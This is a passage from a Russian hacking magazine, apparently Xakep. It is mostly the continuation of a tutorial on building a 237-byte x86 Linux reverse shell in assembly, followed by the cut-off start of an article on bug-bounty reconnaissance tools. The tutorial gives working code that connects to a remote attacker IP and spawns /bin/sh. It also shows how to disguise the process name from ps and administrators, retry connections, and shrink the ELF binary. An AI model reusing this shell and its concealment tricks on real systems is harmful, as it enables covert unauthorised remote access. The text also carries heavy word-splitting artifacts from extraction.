т огр­ аничен­ ие длин­ ы в 16 симв­ олов, включ­ ая нуль‑байт. Полн­ ое имя содерж­ ит аргум­ ент­ ы запуск­ а прогр­ аммы, они же *argv[]: в  нулевом элем­ ент­ е масс­ ива  — имя исполняе­ мог­ о файл­ а так, как  оно было указ­ ано при запуск­ е; в остальн­ ых — аргум­ ент­ ы, если они были передан­ ы. Смен­ а кратк­ ого имен­ и сложн­ остей не вызывае­ т. Восп­ ольз­ уемс­ я для этог­ о сист­ емным вызовом prctl(). С его помощью проц­ есс или поток может осу‐­ ществ­ лять разл­ ичные опер­ ации над  самим собой: над  свои­ м имен­ ем, при‐­ вилег­ иями (capabilities), областям­ и памяти, режимом seccomp и  мног­ о чем еще. Номер нужн­ ой опер­ ации передае­ тся перв­ ым аргум­ ент­ ом, затем идут остальн­ ые параметр­ ы, числ­ о которых может варьи­ ров­ атьс­ я. Нас интер­ есуе­ т опер­ ация PR_SET_NAME, где втор­ ым аргум­ ент­ ом передае­ тся указ­ атель на  новое имя. При  этом, если имя с  нуль‑байт­ ом длинн­ ее  16  симв­ олов, оно будет обрез­ ано. Так­ им образ­ ом, для  смен­ ы кратк­ ого имен­ и нужн­ о вызв­ ать prctl( PR_SET_NAME, NEW_ARGV), где NEW_ARGV содерж­ ит адрес нового имен­ и. Для этог­ о использ­ уем след­ ующий код: mov eax, 0xac ; NR_PRCTL mov ebx, 15 ; PR_SET_NAME mov ecx, NEW_ARGV int 0x80 ; syscall interrupt ... NEW_ARGV: db \"s0l3g1t\", 0 INFO Мног­ о полезн­ ой информац­ ии о  сист­ емных вызовах можн­ о найт­ и в man 2 syscall. Там же для  зоопарк­ а подд­ ержив­ аемых в  Linux платф­ орм и  ABI есть две табл­ ицы: с  инст­ рукц­ иями для соверш­ ения сист­ емног­ о вызова и с регист­ ра‐­ ми, использ­ уемым­ и при  передач­ е аргум­ ент­ ов и  возв­ рат­ е знач­ ений. Имей в  виду, что сог‐­ лашения о  вызовах, по  крайн­ ей мере на  x86, отлич­ аютс­ я от  таковых в  юзерм­ одных прил­ оже‐­ ниях. Попр­ обуе­ м теперь перепис­ ать argv[0]. След­ ующий кусок кода выполн­ яет дейс­ твия, анал­ огичн­ ые сишн­ ой strncpy(&argv[0], NEW_ARGV, strlen( argv[0] + 1)), при  этом адрес argv[0] предв­ арительн­ о был положен на стек: mov edi, [esp] ; edi = &argv[0] mov esi, NEW_ARGV mov ecx, _start - NEW_ARGV ; ecx = strlen(NEW_ARGV) + NULL-byte _name_loop: movsb ; edi[i] = esi[i] ; i+=1 loop _name_loop ... NEW_ARGV: db \"s0l3g1t\", 0 _start: ... Этот адрес помещае­ тся в  регистр edi (destination index register). В  регистр esi (source index register) отправл­ яетс­ я адрес устан­ авл­ ивае­ мог­ о нами имен­ и \"s0l3g1t\", а в ecx — его длин­ а, включ­ ая нулевой байт. Однак­ о оказ­ ывае­ тся, что если изнач­ альн­ ый argv[0] (\"./asm_shell\") был длинн­ ее нового, то, нес‐­ мотря на наличие заверш­ ающег­ о нуль‑байт­ а, вывод ps будет таков. Выв­ од ps при перезап­ иси нулевог­ о аргум­ ент­ а «в лоб» Как‑то не  особ­ о здор­ ово. Попр­ обуе­ м его снач­ ала заполн­ ить нулями и  лишь затем перезап­ исыв­ ать. Выв­ од ps при перезап­ иси зануленн­ ого нулевог­ о аргум­ ент­ а Уже лучш­ е — в выводе ps ничего подозр­ ительн­ ого! Хотя все еще есть к чему стрем­ итьс­ я. А что скаж­ ет нам мануа­ л? Совс­ ем немн­ ого поиск­ ав, натыкае­ мся на такое мест­ о в man 5 proc (подр­ аздел о /proc/[pid]/cmdline): Furthermore, a  process may change the  memory location that this file « »refers via prctl(2) operations such as PR_SET_MM_ARG_START. А в  man 2 prctl находим, помимо параметр­ а PR_SET_MM_ARG_START, такж­ е PR_SET_MM_ARG_END (с небольш­ ой пометк­ ой, что эти опции дост­ упны начиная с верс­ ии Linux 3.5). Кажетс­ я, втор­ ой параметр — как раз то, что надо! Да вот незадач­ а: для выполн­ ения опер­ аций prctl(), затр­ агиваю­ щих память проц­ ес‐­ са, нужн­ а прив­ илег­ ия CAP_SYS_RESOURCE (инач­ е ведь было  бы слишк­ ом уж прост­ о!). А ее устан­ овк­ а треб­ ует прав суперп­ ольз­ овател­ я. По этой же прич­ ине замена адрес­ а самого масс­ ива строк argv[] на стек­ е «в лоб» не прив­ едет к смен­ е содерж­ имого /proc/[pid]/cmdline: Linux хра‐­ нит адрес­ а начала и  конц­ а памяти, где находятс­ я аргум­ ент­ ы проц­ есс­ а, при‐­ чем содерж­ имое именн­ о этой памяти и  выводитс­ я. То же верн­ о и  для переменн­ ых окруж­ ения. И потому xxd выводит нули. В общем, будем исход­ ить из  предп­ оложен­ ия, что реверс‑шелл запущен от  имен­ и прост­ ого польз­ овател­ я и  возм­ ожност­ и устан­ овить CAP_SYS_RESOURCE никои­ м образ­ ом нет. Поэтом­ у прост­ о занулим весь изна‐­ чальн­ ый argv[0] и запишем поверх него свой. Част­ о ли кому‑либо прих­ одит в голову смотр­ еть имя проц­ есс­ а через /proc в xxd? Ост­ алось разобр­ атьс­ я с  подм­ еной имен­ и /bin/sh, ведь посл­ е вызова execve() для  запуск­ а шелл­ а его *argv[] будет пред­ ательс­ ки являть взор­ у админ­ а /bin/sh в  выводе ps и  htop, а  такж­ е в  /proc/<pid>/cmdline. К счастью, это решае­ тся прощ­ е прост­ ого: нужн­ о всег­ о лишь передать собс‐­ твенн­ ый argv[0] втор­ ым аргум­ ент­ ом этом­ у сиск­ олу. Прит­ ом важн­ о иметь в виду, что передае­ тся указ­ атель на масс­ ив аргум­ ент­ ов (строк), который дол‐­ жен заверш­ атьс­ я нулевым указ­ ател­ ем. Поэтом­ у перед  тем, как  положить на стек адрес NEW_ARGV, туда клад­ етс­ я 0: xor eax, eax push dword 0x0068732f ; push \"/sh\" push dword 0x6e69622f ; push /bin (=\"/bin/sh\") mov ebx, esp ; ebx = ptr to \"/bin/sh\" into ebx push edx ; edx = 0x00000000 mov edx, esp ; **envp = edx = ptr to NULL address push ebx ; pointer to /bin/sh push 0 push NEW_ARGV mov ecx, esp ; ecx points to shell's argv[0] ( &NEW_ARGV ) mov al, 0xb int 0x80 ; execve(\"/bin/sh\", &{ NEW_ARGV, 0 }, 0) Но смен­ ить при  этом и  кратк­ ое имя через prctl() так прост­ о мы уже не  можем, поск­ ольк­ у работае­ м из  обол­ очк­ и, где вызов сиск­ олов напр­ ямую недост­ упен. Однак­ о есть иные инт­ ересн­ ые спос­ обы это сдел­ ать. «Давай по новой» Чтоб­ ы соедин­ итьс­ я с  серв­ ером, нужн­ о созд­ ать сокет, заполн­ ить структ­ уру, содерж­ ащую адрес для подк­ люч­ ения, — struct sockaddr и прик­ онн­ ектитьс­ я по нему. Сок­ ет — конечн­ ая точк­ а соедин­ ения в Linux, и не обяз­ ательн­ о это сетевое соедин­ ение, как в случ­ ае unix- и netlink-сокетов. При созд­ ании сокета необ‐­ ходимо указ­ ать семейс­ тво адрес­ ов, или прот­ окол­ ов (на текущий момент пер‐­ вые — это псевд­ онимы втор­ ых), котором­ у он будет прин­ адл­ ежать, тип сокета (потоков­ ый, датагр­ амм­ ный, сырой и  проч­ ие) и  прот­ окол (зависит от  семей‐­ ства, см. man protocols). Нам необх­ одим потоков­ ый (TCP, SOCK_STREAM) интернет‑сокет (семейс­ тво AF_INET), а  прот­ окол при  передач­ е нуля будет выбр­ ан автом­ атич­ еск­ и: mov al, 0x66 ; 0x66 = 102 = socketcall() push ebx ; 3rd arg: socket protocol = 0 mov bl, 0x1 ; ebx = 1 = socket() function push byte 0x1 ; 2nd arg: socket type = 1 (SOCK_STREAM) push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET) mov ecx, esp ; copy stack structure's address to ecx (pointer) int 0x80 ; eax = socket(AF_INET, SOCK_STREAM, 0) INFO На некотор­ ых платф­ ормах (в част­ ност­ и, x86_32) для  сокетн­ ых функ­ ций вмест­ о отдельн­ ых сис‐­ колов socket(), bind(), connect() и  так далее использ­ уетс­ я един­ ый сист­ емный вызов socketcall(), перв­ ым аргум­ ент­ ом котором­ у передае­ тся номер необх­ одимой функ­ ции. Эти номера опред­ елен­ ы в ядре Linux. Вопр­ ос сокет‐­ ных сист­ емных вызовов немн­ ого освещ­ ен в  этой статье. Пар­ аметр struct sockaddr — это что‑то врод­ е «базовог­ о класс­ а» для опи‐­ сания адрес­ ов разл­ ичных прот­ окол­ ов. Он имее­ т лишь два поля: /* Structure describing a generic socket address. */ struct sockaddr { unsigned short sa_family; /* Common data: address family and length. */ char sa_data[14]; /* Address data. */ }; Знач­ ение перв­ ого долж­ но совп­ адать с  семейс­ твом созд­ анног­ о прежд­ е сокета. И  именн­ о втор­ ое поле опис­ ывае­ т адрес, с  которым будет связ­ ан сокет. Как ты понимае­ шь, в разн­ ых прот­ окол­ ах форм­ аты адрес­ ов отлич­ аютс­ я, поэтом­ у сущест­ вую­ т такж­ е sockaddr_in/sockaddr_in6 (internet-сокеты), sockaddr_un (unix-сокеты) и  мног­ ие друг­ ие. Хотя все они  — свое­ го рода надст­ ройк­ а над  структ­ урой sockaddr, к  типу которой спок­ ойн­ о прив­ одятс­ я для  подд­ ержан­ ия един­ ого API сокетн­ ых функ­ ций. К  прим­ еру, sockaddr_in делит поле sa_data на  IP-адрес и  номер порт­ а, при  этом остае­ тся вос­ емь неисп­ ольз­ уемых байт (см. такж­ е man 7 ip): struct sockaddr_in { sa_family_t sin_family; /* address family: AF_INET */ in_port_t sin_port; /* port in network byte order */ struct in_addr sin_addr; /* internet address */ unsigned char sin_zero[8]; /* Pad to size of 'struct sockaddr' */ }; /* Internet address */ struct in_addr { uint32_t s_addr; /* address in network byte order */ }; В общем, наша задача  — корр­ ект­ но сформ­ ировать эту структ­ уру на  стек­ е и  передать ее адрес сист­ емном­ у вызову connect(). Как  отмеч­ ено, порт (REV_PORT) и  IP-адрес (REV_IP) в  этой структ­ уре долж­ ны иметь сетевой порядок байт­ ов, то есть быть Big Endian (MSB). След­ ующий код осущ­ еств­ ляе­ т вызов connect(socketfd, addr, sizeof(addr)), где socketfd был получен нами ранее: mov al, 0x66 ; 0x66 = 102 = socketcall() push dword REV_IP ; Remote IP address push word REV_PORT ; Remote port push word 0x0002 ; sin_family = 2 (AF_INET) mov ecx, esp ; ecx = ptr to *addr structure push byte 16 ; addr_len = 16 (structure size) push ecx ; push ptr of args structure push ebx ; ebx = socketfd mov bl, 0x3 ; ebx = 3 = connect() mov ecx, esp ; save esp into ecx, points to socketfd int 0x80 ; eax = connect(socketfd, *addr[2, PORT, IP], 16) = 0 on success Есл­ и подк­ люч­ итьс­ я не  удал­ ось, след­ ует повт­ орить попытк­ у через некотор­ ое врем­ я. Здесь все прост­ о: пров­ еряе­ м код возв­ рат­ а, который мы получил­ и в  eax,  — в  случ­ ае успешног­ о подк­ люч­ ения он равен  0, а  при ошибк­ е -1. При  этом перед  новой попытк­ ой подк­ люч­ ения реверс‑шелл долж­ ен соз‐­ давать дочерн­ ий проц­ есс и  заверш­ ать родительс­ кий, чтоб­ ы смен­ илс­ я его PID. Спать при этом будет уже дочерн­ ий. И для прост­ оты пусть тайм‑аут будет всегд­ а пять секунд, хотя и непл­ охо бы, чтоб­ ы это было случ­ айн­ ым знач­ ение­ м из некое­ го диапаз­ она. С функ­ цие­ й сна прид­ етс­ я совс­ ем чуть‑чуть повозитьс­ я. Мы не  можем прост­ о так вызв­ ать sleep(5), потому что нужн­ ый нам сиск­ ол прин­ имае­ т два указ­ ател­ я на структ­ уры — одна опис­ ывае­ т прод­ олж­ ительн­ ость сна, а во вто‐­ рую записыв­ аетс­ я оставшее­ ся врем­ я, если сон был чем‑то прерв­ ан (нап‐­ ример, прил­ етевш­ им сигн­ алом): int nanosleep(const struct timespec *req, struct timespec *rem) Одн­ ако мануа­ л говорит, что rem может быть равен NULL, а  это нам тольк­ о на  руку. Остае­ тся лишь записать в  структ­ уру req секунд­ ы и  наносек­ унд­ ы, в течение которых мы собирае­ мся спать: struct timespec { time_t tv_sec; /* goes to 'long int' */ long tv_nsec; }; Оба числ­ а имею­ т тип long int, что на  x86_32  сост­ авляе­ т  4  байт­ а. То есть заполн­ ять структ­ уру и вызывать сиск­ ол будем так, не забыв посл­ е подч­ истить за собой стек: mov eax, NR_NANOSLEEP push dword 0 ; nsec push dword 2 ; sec mov ebx, esp ; ebx = struct timespec *req xor ecx, ecx ; ecx = struct timespec *rem = NULL int 0x80 add esp, 8 ; cleanup Рез­ ульт­ атом работы всег­ о безобр­ азия можешь полюбов­ атьс­ я на скрин­ е. Спим, меняе­ м имя, не сдае­ мся! →Продолжение статьи

COVERSTORY ← НАЧАЛО СТАТЬИ РЕВЕРС-ШЕЛЛ НА 237 БАЙТ ИЗУЧАЕМ ХАКИ LINUX ДЛЯ УМЕНЬШЕНИЯ ИСПОЛНЯЕМОГО ФАЙЛА ДИЕТА ДЛЯ ЭЛЬФА Полд­ ела сдел­ ано: получен рабочий реверс‑шелл! А  какого он вышел раз‐­ мера? При использ­ овании nasm -f elf32 asm_shell.asm -o asm_shell.o && ld asm_shell.o -o asm_shell -m elf_i386 для сборк­ и бинаря получа‐­ ем окол­ о 5 Кбайт. 5 Кбайт... Это мног­ о или мало? INFO Хоч­ у отмет­ ить, эта статья в  знач­ ительн­ ой мере вдохн­ овлен­ а изыск­ ания­ ми, втор­ ое назв­ ание которых очень говорящ­ ее  — Size Is  Everything (такж­ е есть на  гитх­ абе). Суть в  том, чтоб­ ы мак‐­ симальн­ о отсечь все лишн­ ее из  ELF-файл­ а, раз‐­ бирая по  ходу дела внутр­ енност­ и ELF и  Linux, и  получить при  этом рабочий бинарь. Сам он при  этом не  делае­ т ничего, тольк­ о заверш­ аетс­ я с  ответ­ ом на  самый главн­ ый вопр­ ос во  Всел­ ен‐­ ной,  — а  именн­ о возв­ ращ­ ает код  42. Спойл­ ер: автор­ у при  начальн­ ых  4  Кбайт удал­ ось получить 45 байт! Итак, мы имее­ м шелл на 4912 байт. Врем­ я углуб­ итьс­ я в позн­ ание эльф­ ийской сущн­ ости. Пара слов о сборке «крошки эльфа» Всяк­ ий, имевш­ ий дело с С, знае­ т, что прогр­ амма начинае­ тся с main() — эту функ­ цию непр­ еменн­ о ожид­ ает в коде gcc. На самом деле не совс­ ем: именн­ о выполн­ ение исполняе­ мог­ о файл­ а начинае­ тся с точк­ и вход­ а (entry point), и это обычн­ о функ­ ция _start(), отвеч­ ающая за  предв­ арительн­ ую подг­ отовк­ у и передач­ у управлен­ ия в main(). Мы ассемб­ лир­ уем .asm-файл с  помощью NASM, а  он выдае­ т «переме‐­ щаемый» (Relocatable) ELF-файл (обычн­ о у них расш­ ирение .o). Такие файл­ ы, напр­ имер, получаю­ тся при  сборк­ е прое­ кта из  неск­ ольк­ их исходных файл­ ов по  схем­ е «один исходник  — один перемещ­ аемый эльф» (которые, кстат­ и, могут быть написан­ ы и не на одном язык­ е). Данн­ ое явлен­ ие имее­ т еще гор‐­ дое назв­ ание «един­ ица транс­ ляц­ ии». Пер­ емещ­ аемые эльф­ ы содерж­ ат секц­ ии с  данн­ ыми и  кодом, которые могут быть связ­ аны с друг­ ими файл­ ами для получен­ ия исполняе­ мог­ о бинаря. Собст­ венн­ о, этим и занимае­ тся комп­ оновщ­ ик (линк­ ер), услуг­ ами которог­ о мы восп­ ольз­ уемс­ я. В нашем случ­ ае это ld. Он ожид­ ает в одном из входн­ ых фай‐­ лов функ­ цию с имен­ ем _start, которую и сдел­ ает точк­ ой вход­ а. Что за пустота внутри? Вып­ олн­ ив указ­ анн­ ые выше команд­ ы, мы получил­ и файл, в  котором код (сек‐­ ция .text) начинае­ тся с физическ­ ого смещ­ ения (смещ­ ение в файл­ е на дис‐­ ке) 0x1000, подозр­ ительн­ о похожег­ о на разм­ ер стран­ ицы, а перед ним лишь прост­ ранст­ во, заполн­ енное нулями. Это, межд­ у проч­ им, целых 4 Кбайт. Такое раст­ очительс­ тво соверш­ енно никуда не годитс­ я! В начале была матр­ ица Дав­ ай‑ка посм­ отрим, какие опции комп­ оновщ­ ика за  это отвеч­ ают. Судя по  опис­ анию ключ­ а -n  — Do not page align data, он нам и  нужен. Про‐­ верим? Убир­ аем выравн­ ивание по стран­ ице 912  байт! Намн­ ого лучш­ е. Теперь код начинае­ тся с  физическ­ ого смещ­ ения 0x60. Что теперь? Пришл­ а пора поигр­ ать с секц­ иями. INFO Исх­ одный код на  разн­ ых этап­ ах редакт­ ирован­ ия можешь поизуч­ ать по истор­ ии комм­ итов. Да кому нужны эти SHT? SHT  — табл­ ица заголовк­ ов секц­ ий (Section Header Table), хотя чаще можн­ о встрет­ ить прост­ о «табл­ ица секц­ ий» или  «заголовк­ и секц­ ий». Здесь содер‐­ жатся имен­ а всех секц­ ий в  файл­ е, и  ознак­ омитьс­ я с  ними можн­ о, запуст­ ив readelf -S. Секц­ ии нашего реверс‑шелл­ а Отк­ уда же взял­ ись еще  секц­ ии, ведь в  наших исходник­ ах была лишь секц­ ия .text, содерж­ ащая код? Здесь нужн­ о поразм­ ышлять о том, как мы получил­ и исполняе­ мый файл. Напр­ имер, чтоб­ ы ld смог найт­ и функ­ цию _start(), информац­ ия об  этом долж­ на где‑то находитьс­ я. И  находитс­ я она в  табл­ ице симв­ олов в .o-файл­ е, в секц­ иях .symtab и .strtab. Инф­ ормац­ ия о симв­ олах в перемещ­ аемом эльф­ е Как видишь, здесь прис­ утст­ вую­ т все наши метк­ и, указ­ анн­ ые в  исходник­ ах. А  вот в  исполняе­ мом файл­ е наличие табл­ ицы симв­ олов не  являе­ тся необ‐­ ходимым для  работы. Поэтом­ у к  нему можн­ о безб­ олезн­ енно прим­ енить команд­ у strip или использ­ овать ключ линк­ ера -s, чтоб­ ы избав­ итьс­ я от сим‐­ волов в  нем. При  этом, если «стрипн­ уть» симв­ олы в  перемещ­ аемом файл­ е, линк­ ер заругае­ тся на  невозм­ ожность найт­ и точк­ у вход­ а и  собр­ ать исполня‐­ емый эльф, что и  логичн­ о. Итак, сэконом­ им еще  чуть больш­ е половин­ ы  — 468 байт. Рев­ ерс‑шелл без информац­ ии о симв­ олах Бол­ ее того, для  корр­ ект­ ной работы бинаря не  являе­ тся необх­ одимой информац­ ия о  секц­ иях в  принц­ ипе! Самый прост­ ой спос­ об избав­ итьс­ я от них — вырезать их из исполняе­ мог­ о файл­ а «в лоб», напр­ имер с помощью dd if=./asm_shell of=./asm_shell_trunc bs=1 count=<N>. К  счастью для  нас, табл­ ица секц­ ий находитс­ я в  конц­ е файл­ а, поэтом­ у это  делае­ тся без  лишн­ их усил­ ий. В  нашем случ­ ае она начинае­ тся по  смещ­ ению 0x130 (304). Гот­ овим к преп­ арир­ ован­ ию Но чтоб­ ы не  остал­ ось информац­ ии о  том, что секц­ ии вообщ­ е были, след­ ует не тольк­ о обрез­ ать SHT в конц­ е файл­ а, но и занулить поля в заголовк­ е ELF- файл­ а, где указ­ аны смещ­ ение табл­ ицы секц­ ий, разм­ ер записи в  ней и  их количест­ во (соотв­ етст­ венн­ о e_shoff, e_shentsize и  e_shnum в  структ­ уре ElfN_Ehdr). Они подч­ ерк­ нут­ ы на рисунк­ е выше. Более подр­ обно об удал­ ении заголовк­ ов секц­ ий написан­ о в  статье «ELF  — No  Section Header? No Problem», а о самих секц­ иях можн­ о почитать, напр­ имер, в блог­ е Oracle. INFO Структ­ ура ELF-заголовк­ а нагл­ ядно предс­ тавл­ ена на  этой схем­ е, с  которой советую обяз­ ательн­ о разобр­ атьс­ я, если ты дочитал досюда. Тольк­ о имей в  виду, что на  ней расс­ мотр­ ен  32-битн­ ый эльф, разм­ еры отдельн­ ых полей которог­ о мень‐­ ше, чем в 64-битн­ ом. Теп­ ерь наш реверс‑шелл занимае­ т 304 байт­ а. Выжм­ ем еще? «Ужимаем» инструкции Об этом прие­ ме знаю­ т те, кому прих­ одил­ ось писать шелл‑код под  буферы огран­ иченн­ ого разм­ ера. Если же тебе это  не особ­ о близк­ о, можешь озна‐­ комитьс­ я, напр­ имер, с  мат­ ериа­ лом о  шелл‑кодах от  SPbCTF. Если вкратц­ е: за счет того, что длин­ а разл­ ичных инст­ рукц­ ий на x86 не один­ аков­ а, зачаст­ ую одно и  то же на  язык­ е ассемб­ лер­ а можн­ о выразить по‑разн­ ому. Вот один из моих любимых прим­ еров. Три байт­ а прот­ ив семи Дав­ ай пересм­ отрим теперь наш код с этой точк­ и зрен­ ия. Безусл­ овно, с боль‐­ шой вероя­ тностью пост­ рад­ ает его читабельн­ ость, но  хуже‑то работать он от этог­ о не стан­ ет! В перв­ ую очер­ едь нужн­ о не записыв­ ать малые числ­ а нап‐­ рямую в регист­ ры. У нас это преи­ мущ­ ест­ венн­ о номера сист­ емных вызовов. Раст­ очае­ мое прост­ ранст­ во Зам­ ена инст­ рукц­ ий вида mov REG, IMM на push IMM; pop REG дейс­ твит­ ель‐ но поможет с сиск­ олами, имею­ щим­ и низк­ ие номера, но вот с числ­ ами, боль‐­ шими 0x7f, push IMM начинае­ т занимать  5  байт вмест­ о двух, к  которым добавл­ яетс­ я байт на  pop REG. Смещ­ ения в  реверс‑шелл­ е, как  видишь, куда больш­ е этог­ о знач­ ения, поэтом­ у, пытая­ сь таким образ­ ом сэконом­ ить на них, мы больш­ е потеряе­ м. А  в некотор­ ых случ­ аях вмест­ о того, чтоб­ ы помещать напр­ ямую един­ ицу в  регистр, можн­ о прост­ о инкрем­ ент­ ировать его, пред‐­ варительн­ о не забыв занулить. Сравн­ и! Пом­ ещае­ м един­ ицу в ebx Такж­ е нам не  нужн­ ы некотор­ ые инст­ рукц­ ии для  иниц­ иализ­ ации регист­ ров, потому что изнач­ альн­ о те все равн­ о занулен­ ы. А, к  прим­ еру, конк­ ретн­ ыми знач­ ения­ ми наносек­ унд сна и  кода выхода при  неудачн­ ой попытк­ е соеди‐­ нения можн­ о прен­ ебр­ ечь — сокр­ ащае­ м их. То, как мы клад­ ем на стек струк‐­ туру sockaddr_in, можн­ о тоже сокр­ атить и вмест­ о двух разд­ ельн­ ых инст­ рук‐­ ций на  семейс­ тво и  номер порт­ а (которые в  сумм­ е в  структ­ уре занима‐­ ют 4 байт­ а) положить их одним заходом. Так наш код «похудел» еще на 25 байт и сост­ авляе­ т 279 байт. Дальш­ е нас ждет тольк­ о чист­ ое творч­ ест­ во (и немн­ ого — тяготы поиск­ ов). Бонус: сплоитим заголовки В заголовк­ е ELF есть мест­ о, которое по станд­ арту заполн­ яетс­ я нулями, и сис‐­ тема не  пров­ еряе­ т эти знач­ ения при  загр­ узке и  запуск­ е файл­ а (чего не  ска‐­ жешь о  нек­ отор­ ых инст­ рум­ ент­ ах). Оно находитс­ я в  самой перв­ ой строк­ е  — e_ident  — и  начинае­ тся с  десятог­ о байт­ а (EI_PAD). Девятый байт EI_ABIVERSION, опис­ ываю­ щий «верс­ ию ABI для  объе­ ктных файл­ ов», для  нас нерелев­ ант­ ен, ведь мы пишем не  под зоопарк ARM’ов. Так что мы можем безопасн­ о использ­ овать  8  байт, начиная с восьм­ ого в  файл­ е. Этог­ о как  раз хват­ ит на  \"/bin/sh\". Но  как корр­ ект­ но указ­ ать смещ­ ение до  него в  коде, не высч­ итывая и не меняя его руками? Здесь понадоб­ итс­ я измен­ ить параметр­ ы сборк­ и. Поск­ ольк­ у мы собр­ ались прав­ ить сам ELF-заголов­ ок, который вообщ­ е‑то генерир­ уетс­ я линк­ ером, то прид­ етс­ я отказ­ атьс­ я от  его услуг. Как  раз на  такой случ­ ай NASM позв­ оляе­ т указ­ ать «сырой» форм­ ат выходн­ ого файл­ а: nasm -f bin asm_shell.asm -o asm_shell.raw. В  этом случ­ ае он собирае­ т файл так, как  тот опис­ ан в исходник­ е, не добавл­ яя к нему вообщ­ е никаких заголовк­ ов. В данн­ ом слу‐­ чае нужн­ о указ­ ать адрес, куда, как  ожид­ аетс­ я, это  добр­ о будет загр­ ужено, чтоб­ ы NASM мог прав­ ильн­ о вычисл­ ить точк­ у вход­ а и  проч­ ие смещ­ ения. Для этог­ о указ­ ывае­ тся директ­ ива org 0x08048000. Еще одна вещь, которую мы вправ­ е поменять без  вред­ а для  работы бинаря, — зануленн­ ая ранее информац­ ия о табл­ ице секц­ ий. В ELF-заголовк­ е находятс­ я подр­ яд такие поля: • e_shoff, e_flags (8 байт) • e_shentsize, e_shnum, e_shstrndx (6 байт) Пол­ е e_flags не  опис­ ывае­ т SHT; оно, согл­ асно документ­ ации, предн­ азна‐­ чено для неких флаг­ ов проц­ есс­ ора. Но поск­ ольк­ у на текущий момент никакие из них не опред­ елен­ ы, то со спок­ ойн­ ой душой мы получае­ м 8 байт из перв­ ой цепочк­ и полей. Туда как раз помест­ ится NEW_ARGV. Во втор­ ую цепочк­ у можн­ о вынест­ и код, заверш­ ающий проц­ есс при неудачн­ ом соедин­ ении (он занимае­ т 5 байт), а на его изнач­ альн­ ое мест­ о помест­ ить jmp _exit, сэконом­ ив еще 3 байт­ а. Теперь наш собр­ анный вруч‐­ ную заголов­ ок выгл­ ядит так: org 0x08048000 ehdr: ; Elf32_Ehdr ; e_ident db 0x7F, \"ELF\" ; e_type db 1, 1, 1, 0 ; e_machine ; e_version BIN_SH: ; e_entry ; e_phoff db \"/bin/sh\", 0 ; e_shoff, e_flags e_type: ; e_ehsize ; e_phentsize dw 2 ; e_phnum dw 3 ; e_shentsize ; e_shnum dd 1 ; e_shstrndx dd _start ; Elf32_Phdr ; p_type dd phdr - $$ ; p_offset ; p_vaddr NEW_ARGV: ; p_paddr ; p_filesz db \"s0l3git\", 0 ; p_memsz ; p_flags dw ehdrsize ; p_align dw phdrsize dw 1 _exit: push NR_EXIT pop eax ; exit_code = random :D int 0x80 db 0 ehdrsize equ $ - ehdr phdr: dd 1 dd 0 dd $$ dd $$ dd filesize dd filesize dd 5 dd 0x1000 phdrsize equ $ - phdr ... Посл­ е всех манипул­ яций бинарь имее­ т разм­ ер  254  байт­ а. Что мы теперь можем предп­ рин­ ять? Напр­ имер, попр­ обовать сдел­ ать так, чтоб­ ы ELF-заголо‐­ вок и прогр­ амм­ ный (PHT, Program Header Table) перекр­ ывались, как предл­ ага‐­ ется в  уже упом­ янут­ ой статье «Size Is  Everything». Это  возм­ ожно, поск­ ольк­ у посл­ едние 8 байт ELF-заголовк­ а идент­ ичны перв­ ым 8 байт­ ам PHT, а те байт­ ы ELF-заголовк­ а, что перекр­ оютс­ я новыми знач­ ения­ ми, не играю­ т крит­ ическ­ ой роли для  запуск­ а файл­ а. Правд­ а, вынесенн­ ый нами в  заголов­ ок код _exit тогд­ а прид­ етс­ я верн­ уть на  мест­ о. Плюс еще  небольш­ ая игра с  регист­ рам­ и, и  получае­ м рев­ ерс‑шелл на  237  байт. Это, счит­ ай, двадц­ атая часть пер‐­ воначальн­ ого разм­ ера! Вот и весь реверс‑шелл ЧТО МЫ ВЫЯСНИЛИ? Во‑перв­ ых, при желании реверс‑шелл может быть почт­ и непр­ иличн­ о крох­ от‐­ ным. Во‑втор­ ых, 32-битн­ ые проц­ есс­ ы могут выполн­ ить execve() и  стать  64- битн­ ыми. Заголовк­ и в ELF-файл­ ах могут перекр­ ыватьс­ я, и, если это сдел­ ано с  умом, такой файл будет прекр­ асно работать. А  смен­ а проц­ есс­ ом свое­ го имен­ и может оставлять след­ ы. Поск­ ольк­ у у  нас имее­ тся рабочий обратный шелл, ему можн­ о навесить побольш­ е соотв­ етст­ вую­ щей функ­ цио­ нальн­ ост­ и. Напр­ имер, игнор­ иров­ ание сигн­ алов, прост­ укиван­ ие порт­ ов, шифр­ ование траф­ ика... Но  это уже друг­ ая истор­ ия. WWW Вот что еще может приг­ одитьс­ я, если тебе инте‐­ ресн­ ы глуб­ око сист­ емные вещи, подобн­ ые рас‐­ смотр­ енным: •Спец­ ифик­ ация форм­ ата ELF и man elf •Огр­ омный читш­ ит по Linux и x86_64 •Вводн­ ый материа­ л и  солидн­ ая сер­ ия стат­ ей о комп­ оновщ­ иках •Зам­ етк­ а по  сборк­ е с  использ­ ование­ м NASM и ld

ВЗЛОМ joelblack ИНСТРУМЕНТЫ [email protected] РАЗВЕДЧИКА ПОДБИРАЕМ ПОЛЕЗНЫЕ УТИЛИТЫ ДЛЯ РАЗВЕДКИ ПРИ ОХОТЕ ЗА БАГАМИ Люб­ ой взлом начинае­ тся со сбор­ а информац­ ии о цели. Чем быст­ рее и  качест­ венн­ ее ты соберешь информац­ ию  — тем больш­ е шанс найт­ и крут­ ую багу, зарепорт­ ить ее перв­ ым и  получить возн­ агражд­ ение. В  отлич­ ие от  пент­ еста, в  баг‐­ баунт­ и участ­ вую­ т сотн­ и тысяч людей одноврем­ енн­ о, а  сер‐­ висы, которые у всех на виду, вдоль и поперек исслед­ ован­ ы, и обнар­ ужить там что‑нибудь крайн­ е сложн­ о. В этой статье я расс­ каж­ у об  инст­ рум­ ент­ ах, которые помогут тебе пров­ ест­ и разв­ едку и собр­ ать макс­ имальн­ о мног­ о информац­ ии о цели. ПОИСК ПОДДОМЕНОВ Кажд­ ый подд­ омен — это потенц­ иальн­ ая цель, так что их поиск — один из пер‐­ вых шагов при  разв­ едке. В  больш­ их комп­ ания­ х, врод­ е IBM или  Microsoft, использ­ уютс­ я десятк­ и тысяч подд­ оменов, и  все их нужн­ о подд­ ержив­ ать в актуа­ льн­ ом сост­ оянии, свое­ врем­ енн­ о став­ ить обновлен­ ия софт­ а и фикс­ ить баги. Как  показыв­ ает практ­ ика, о  некотор­ ых подд­ оменах прост­ о забываю­ т или  став­ ят загл­ ушки, хотя весь конт­ ент при  этом остае­ тся дост­ упен. Кри‐­ тическ­ ие уязв­ имост­ и, врод­ е RCE, 